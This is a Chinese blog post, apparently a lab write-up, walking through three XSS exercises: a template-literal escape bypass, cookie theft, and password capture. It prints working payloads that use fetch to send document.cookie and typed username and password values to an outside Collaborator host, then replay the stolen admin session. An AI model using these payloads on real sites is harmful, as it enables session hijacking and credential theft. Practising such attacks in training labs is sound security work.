渗透实战:利用XSS获取cookie和密码

发布于:2025-06-15 ⋅ 阅读:(15) ⋅ 点赞:(0)

操作均来自靶场,切勿用于未授权渗透测试!

Lab 21:将反射型 XSS 注入带有尖括号、单引号、双引号、反斜杠和反引号的 Unicode 转义模板文字中

输入的任何单引号双引号尖括号都会被 unicode 编码

直接换另一种代码执行方式${alert(1)},被``反引号包围的${}里面可以执行 js 代码

Lab 22:利用跨站脚本窃取 Cookie

使用 burp 的 collaborator

将复制的域名放到 fetch 中,body 为 document.cookie,就是访问这个留言板的用户的 cookie

<script>
fetch('https://jk7skp6xu4wnrqt903qk48whh8nzbrzg.oastify.com', {
method: 'POST',
mode: 'no-cors',
body:document.cookie
});
</script>

之后点击轮询可以看到目标向的域名发送的请求,找到一个请求中带有 secret 和 session 字样的就是 cookie 信息

访问 my-account 转包,将 cookie 替换重放即可登录管理员账户

Lab 23:利用跨站点脚本获取密码

这里试试能不能执行<script>

留言板位置找到注入 xss 的位置后,构造获取对方密码的请求

<input name=username id=username>
<input name=password id=password type=password onchange="
  if(this.value.length)fetch('https://sd97jw4bod7qt2pr4x5yersp3g97x0lp.oastify.com', {
  method: 'POST',
  mode: 'no-cors',
  body: username.value+':'+this.value
  });
  ">
  <!-- 表单中定义两个输入框,一个用户名,一个密码的,在密码输入框中定义onchange事件,当密码输入框的值发生变化,且失去焦点时触发,就是判断用户输入完成离开输入框了。
if(this.value.length):检查输入框的值长度是否非空(即用户至少输入了一个字符)。若为真,则执行 fetch 请求。-->

echo "QmlsaWJpbGkgc2VhcmNoICdQZW5UZXN0M3JfWmVybGsnIGZvciBtb3JlIHZpZGVvLCBUaGFuayB5
b3UgZm9yIHlvdXIgc3VwcG9ydCEK"|base64 -d


网站公告

今日签到

点亮在社区的每一天
去签到